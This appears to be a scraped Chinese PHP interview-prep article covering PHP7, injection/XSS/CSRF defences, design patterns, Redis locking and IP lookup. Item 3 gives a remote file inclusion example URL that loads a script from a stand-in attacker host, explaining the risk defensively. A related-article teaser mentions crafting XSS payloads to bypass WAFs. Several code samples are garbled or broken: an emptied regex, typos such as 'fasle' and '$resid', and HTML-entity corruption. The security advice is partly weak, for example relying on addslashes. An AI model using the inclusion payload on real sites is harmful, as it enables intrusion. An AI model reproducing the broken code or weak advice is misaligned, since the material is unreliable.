热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

PHPer面试指南php篇(二)

点击上方“码农编程进阶笔记”,选择“关注公众号”技术文章第一时间送达!1.php7新特性??运算符(NULL合并运算符)函数

点击上方“码农编程进阶笔记”,选择“关注公众号”

技术文章第一时间送达!

1.php7新特性

  • ?? 运算符(NULL 合并运算符)

  • 函数返回值类型声明

  • 标量类型声明

  • use 批量声明

  • define 可以定义常量数组

  • 闭包( Closure)增加了一个 call 方法 详细的可以见官网:php7-new-features

2.php7卓越性能背后的优化

  • 减少内存分配次数

  • 多使用栈内存

  • 缓存数组的hash值

  • 字符串解析成桉树改为宏展开

  • 使用大块连续内存代替小块破碎内存 详细的可以参考鸟哥的PPT:PHP7性能之源

3.include($_GET['p'])的安全隐患

现在任一个黑客现在都可以用:http://www.yourdomain.com/index.php?p=anyfile.txt 来获取你的机密信息,或执行一个PHP脚本。如果allow_url_fopen=On,你更是死定了:试试这个输入:http://www.yourdomain.com/index.php?p=http://youaredoomed.com/phphack.php 现在你的网页中包含了http://www.youaredoomed.com/phphack.php的输出. 黑客可以发送垃圾邮件,改变密码,删除文件等等。只要你能想得到。

4.列出一些防范SQL注入、XSS攻击、CSRF攻击的方法

SQL注入:

  • addslashes函数

  • mysql_real_escape_string/mysqli_real_escape_string/PDO::quote()

  • PDO预处理 XSS:htmlspecial函数 CSRF:

  • 验证HTTP REFER

  • 使用toke进行验证

5.接口如何安全访问

jwt或验证签名

6.PHP里有哪些设计模式

  • 单例模式

  • 工厂模式

  • 脸面模式(facade)

  • 注册器模式

  • 策略模式

  • 原型模式

  • 装饰器模式 更多的可以看PHP设计模式简介这篇文章

7.验证ip是否正确

function check_ip($ip)
{if (!filter_var($ip, FILTER_VALIDATE_IP)) {return false;} else {return true;}
}

8.验证日期是否合理

function check_datetime($datetime)
{if (date('Y-m-d H:i:s', strtotime($datetime)) === $datetime) {return true;} else {return false;}
}

9.写一个正则表达式,过滤JS脚本(及把script标记及其内容都去掉)

$text = '';
$pattern &#61; &#39;.*<\/script>/i&#39;;
$text &#61; preg_replace($pattern, &#39;&#39;, $text);

10.下单后30分钟未支付取消订单

第一种方案&#xff1a;被动过期&#43;cron&#xff0c;就是用户查看的时候去数据库查有没有支付&#43;定时清理。第二种方案&#xff1a;延迟性任务&#xff0c;到时间检查订单是否支付成功&#xff0c;如果没有支付则取消订单

11.设计一个秒杀系统

思路&#xff1a;用redis的队列

$ttl &#61; 4;
$random &#61; mt_rand(1,1000).&#39;-&#39;.gettimeofday(true).&#39;-&#39;.mt_rand(1,1000);$lock &#61; fasle;
while (!$lock) {$lock &#61; $redis->set(&#39;lock&#39;, $random, array(&#39;nx&#39;, &#39;ex&#39; &#61;> $ttl));
}if ($redis->get(&#39;goods.num&#39;) <&#61; 0) {echo ("秒杀已经结束");//删除锁if ($redis->get(&#39;lock&#39;) &#61;&#61; $random) {$redis->del(&#39;lock&#39;);}return false;
}$redis->decr(&#39;goods.num&#39;);
echo ("秒杀成功");
//删除锁
if ($redis->get(&#39;lock&#39;) &#61;&#61; $random) {$redis->del(&#39;lock&#39;);
}
return true;

12.请设计一个实现方式&#xff0c;可以给某个ip找到对应的省和市&#xff0c;要求效率竟可能的高

//ip2long&#xff0c;把所有城市的最小和最大Ip录进去
$redis_key &#61; &#39;ip&#39;;
$redis->zAdd($redis_key, 20, &#39;#bj&#39;);//北京的最小IP加#
$resid->zAdd($redis_key, 30, &#39;bj&#39;);//最大IPfunction get_ip_city($ip_address)
{$ip &#61; ip2long($ip_address);$redis_key &#61; &#39;ip&#39;;$city &#61; zRangeByScore($redis_key, $ip, &#39;&#43;inf&#39;, array(&#39;limit&#39; &#61;> array(0, 1)));if ($city) {if (strpos($city[0], "#") &#61;&#61;&#61; 0) {echo &#39;城市不存在!&#39;;} else {echo &#39;城市是&#39; . $city[0];}} else {echo &#39;城市不存在!&#39;;}
}

13.网页/应用访问慢突然变慢&#xff0c;如何定位问题

  1. top、iostat查看cpu、内存及io占用情况

  2. 内核、程序参数设置不合理 查看有没有报内核错误&#xff0c;连接数用户打开文件数这些有没有达到上限等等

  3. 链路本身慢 是否跨运营商、用户上下行带宽不够、dns解析慢、服务器内网广播风暴什么的

  4. 程序设计不合理 是否程序本身算法设计太差&#xff0c;数据库语句太过复杂或者刚上线了什么功能引起的

  5. 其它关联的程序引起的 如果要访问数据库&#xff0c;检查一下是否数据库访问慢

  6. 是否被攻击了 查看服务器是否被DDos了等等

  7. 硬件故障 这个一般直接服务器就挂了&#xff0c;而不是访问慢

14.如何设计/优化一个访问量比较大的博客/论坛

  • 减少http请求&#xff08;比如使用雪碧图&#xff09;

  • 优化数据库&#xff08;范式、SQL语句、索引、配置、读写分离&#xff09;

  • 缓存使用&#xff08;Memcache、Redis&#xff09;

  • 负载均衡

  • 动态内容静态化&#43;CDN

  • 禁止外部盗链&#xff08;refer、图片添加水印&#xff09;

  • 控制大文件下载

  • 使用集群

15.如何搭建Composer私有库

使用satis搭建
相关文章介绍&#xff1a;使用satis搭建Composer私有库

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

相关教程&#xff1a;PHP开发高可用高安全App

获取方式&#xff1a;关注公众号回复“ PHP开发App ”关键字&#xff0c;即可免费获得

               


推荐阅读
  • 合并列值-合并为一列问题需求:createtabletab(Aint,Bint,Cint)inserttabselect1,2,3unionallsel ... [详细]
  • 本文介绍了绕过WAF的XSS检测机制的方法,包括确定payload结构、测试和混淆。同时提出了一种构建XSS payload的方法,该payload与安全机制使用的正则表达式不匹配。通过清理用户输入、转义输出、使用文档对象模型(DOM)接收器和源、实施适当的跨域资源共享(CORS)策略和其他安全策略,可以有效阻止XSS漏洞。但是,WAF或自定义过滤器仍然被广泛使用来增加安全性。本文的方法可以绕过这种安全机制,构建与正则表达式不匹配的XSS payload。 ... [详细]
  • MyBatis多表查询与动态SQL使用
    本文介绍了MyBatis多表查询与动态SQL的使用方法,包括一对一查询和一对多查询。同时还介绍了动态SQL的使用,包括if标签、trim标签、where标签、set标签和foreach标签的用法。文章还提供了相关的配置信息和示例代码。 ... [详细]
  • VScode格式化文档换行或不换行的设置方法
    本文介绍了在VScode中设置格式化文档换行或不换行的方法,包括使用插件和修改settings.json文件的内容。详细步骤为:找到settings.json文件,将其中的代码替换为指定的代码。 ... [详细]
  • 向QTextEdit拖放文件的方法及实现步骤
    本文介绍了在使用QTextEdit时如何实现拖放文件的功能,包括相关的方法和实现步骤。通过重写dragEnterEvent和dropEvent函数,并结合QMimeData和QUrl等类,可以轻松实现向QTextEdit拖放文件的功能。详细的代码实现和说明可以参考本文提供的示例代码。 ... [详细]
  • 在说Hibernate映射前,我们先来了解下对象关系映射ORM。ORM的实现思想就是将关系数据库中表的数据映射成对象,以对象的形式展现。这样开发人员就可以把对数据库的操作转化为对 ... [详细]
  • 本文详细介绍了MysqlDump和mysqldump进行全库备份的相关知识,包括备份命令的使用方法、my.cnf配置文件的设置、binlog日志的位置指定、增量恢复的方式以及适用于innodb引擎和myisam引擎的备份方法。对于需要进行数据库备份的用户来说,本文提供了一些有价值的参考内容。 ... [详细]
  • 使用Ubuntu中的Python获取浏览器历史记录原文: ... [详细]
  • 本文由编程笔记小编整理,介绍了PHP中的MySQL函数库及其常用函数,包括mysql_connect、mysql_error、mysql_select_db、mysql_query、mysql_affected_row、mysql_close等。希望对读者有一定的参考价值。 ... [详细]
  • Spring特性实现接口多类的动态调用详解
    本文详细介绍了如何使用Spring特性实现接口多类的动态调用。通过对Spring IoC容器的基础类BeanFactory和ApplicationContext的介绍,以及getBeansOfType方法的应用,解决了在实际工作中遇到的接口及多个实现类的问题。同时,文章还提到了SPI使用的不便之处,并介绍了借助ApplicationContext实现需求的方法。阅读本文,你将了解到Spring特性的实现原理和实际应用方式。 ... [详细]
  • mysql-cluster集群sql节点高可用keepalived的故障处理过程
    本文描述了mysql-cluster集群sql节点高可用keepalived的故障处理过程,包括故障发生时间、故障描述、故障分析等内容。根据keepalived的日志分析,发现bogus VRRP packet received on eth0 !!!等错误信息,进而导致vip地址失效,使得mysql-cluster的api无法访问。针对这个问题,本文提供了相应的解决方案。 ... [详细]
  • 本文详细介绍了如何使用MySQL来显示SQL语句的执行时间,并通过MySQL Query Profiler获取CPU和内存使用量以及系统锁和表锁的时间。同时介绍了效能分析的三种方法:瓶颈分析、工作负载分析和基于比率的分析。 ... [详细]
  • 如何提高PHP编程技能及推荐高级教程
    本文介绍了如何提高PHP编程技能的方法,推荐了一些高级教程。学习任何一种编程语言都需要长期的坚持和不懈的努力,本文提醒读者要有足够的耐心和时间投入。通过实践操作学习,可以更好地理解和掌握PHP语言的特异性,特别是单引号和双引号的用法。同时,本文也指出了只走马观花看整体而不深入学习的学习方式无法真正掌握这门语言,建议读者要从整体来考虑局部,培养大局观。最后,本文提醒读者完成一个像模像样的网站需要付出更多的努力和实践。 ... [详细]
  • Android实战——jsoup实现网络爬虫,糗事百科项目的起步
    本文介绍了Android实战中使用jsoup实现网络爬虫的方法,以糗事百科项目为例。对于初学者来说,数据源的缺乏是做项目的最大烦恼之一。本文讲述了如何使用网络爬虫获取数据,并以糗事百科作为练手项目。同时,提到了使用jsoup需要结合前端基础知识,以及如果学过JS的话可以更轻松地使用该框架。 ... [详细]
  • 初探PLC 的ST 语言转换成C++ 的方法
    自动控制软件绕不开ST(StructureText)语言。它是IEC61131-3标准中唯一的一个高级语言。目前,大多数PLC产品支持ST ... [详细]
author-avatar
mobiledu2502880253
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有